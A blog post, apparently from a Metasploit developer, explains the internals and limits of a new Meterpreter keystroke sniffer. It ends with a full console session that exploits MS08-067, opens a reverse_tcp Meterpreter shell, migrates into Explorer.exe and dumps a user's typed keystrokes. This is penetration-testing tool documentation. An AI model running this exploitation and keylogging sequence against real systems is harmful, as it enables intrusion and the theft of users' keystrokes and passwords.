Last updated at Wed, 29 Nov 2023 22:00:40 GMT

Earlier this afternoon, I committed some code to allow keystroke sniffing through Meterpreter sessions. This was implemented as set of new commands for the stdapi extension of Meterpreter. Dark Operator, author of many great Meterpreter scripts, already wrote a nice blog post describing how to use the new keystroke sniffer, but I wanted to cover some of the internals and limitations as well.

The keyscan_start command spawns a new thread inside of the process where Meterpreter was injected. This thread allocates a large 1Mb buffer to store captured keystrokes. Every 30 ms, this thread calls GetAsyncKeyState, which returns the up/down status of each of the 256 possible Virtual Key Codes. If a key state change is detected and the new state is down, the key, along with the Shift, Control, and Alt flags are stored into the buffer as 16-bit value. If the entire buffer is used, it skips back to the beginning and overwrites old entries. This poll/compare method is based on a keyboard status application written by Rick, who presented at the last San Antonio Hackers meeting (and presents at Austin Hackers frequently).

One limitation of the GetAsyncKeyState function is that it must have access to the active, input desktop in order to monitor the key states. This presents a problem when the target process is running as a service. In the case of the VNC injection payload, we jump through a series of hoops to get access to the input desktop. This sequence has now been implemented as the grabdesktop command, but this is still not sufficient in many cases. If the service does not have rights to interact with the desktop, no amount of API jumping allows the GetAsyncKeyState function to receive keystrokes from the user.

Fortunately, Meterpreter supports the migrate command, which allows us to move our running code into a process that does have interactive access to the desktop. In the example below, we will use ms08_067_netapi exploit to obtain a Meterpreter shell on a Windows XP SP2 system, then migrate the running payload into the Explorer.exe process owned by the active user. This allows us to then use the keyscan_start and keyscan_dump commands to log the user's keystrokes.

$ msfconsole
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST 
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(ms08_067_netapi) > set LHOST 
msf exploit(ms08_067_netapi) > set TARGET 3
msf exploit(ms08_067_netapi) > exploit
[*] Triggering the vulnerability...
[*] Sending stage (2650 bytes)
[*] Uploading DLL (75787 bytes)...
[*] Upload completed.
[*] Meterpreter session 1 opened
meterpreter > ps
Process list
PID Name Path                                                                                         
--- ---- ----                                                                                         
292   wscntfy.exe   C:\WINDOWS\system32\wscntfy.exe                                                              
316   Explorer.EXE  C:\WINDOWS\Explorer.EXE                                                                      
356   smss.exe      \SystemRoot\System32\smss.exe                                                                
416   csrss.exe     \??\C:\WINDOWS\system32\csrss.exe                                                            
440   winlogon.exe  \??\C:\WINDOWS\system32\winlogon.exe                                                         
[ snip ]
meterpreter > migrate 316
[*] Migrating to 316...
[*] Migration completed successfully.
meterpreter > getpid
Current pid: 316
meterpreter > grabdesktop 
Trying to hijack the input desktop...
meterpreter > keyscan_start
Starting the keystroke sniffer...
meterpreter > keyscan_dump 
Dumping captured keystrokes...

This is a test of the keystroke logger   I am typing this inside of notepad.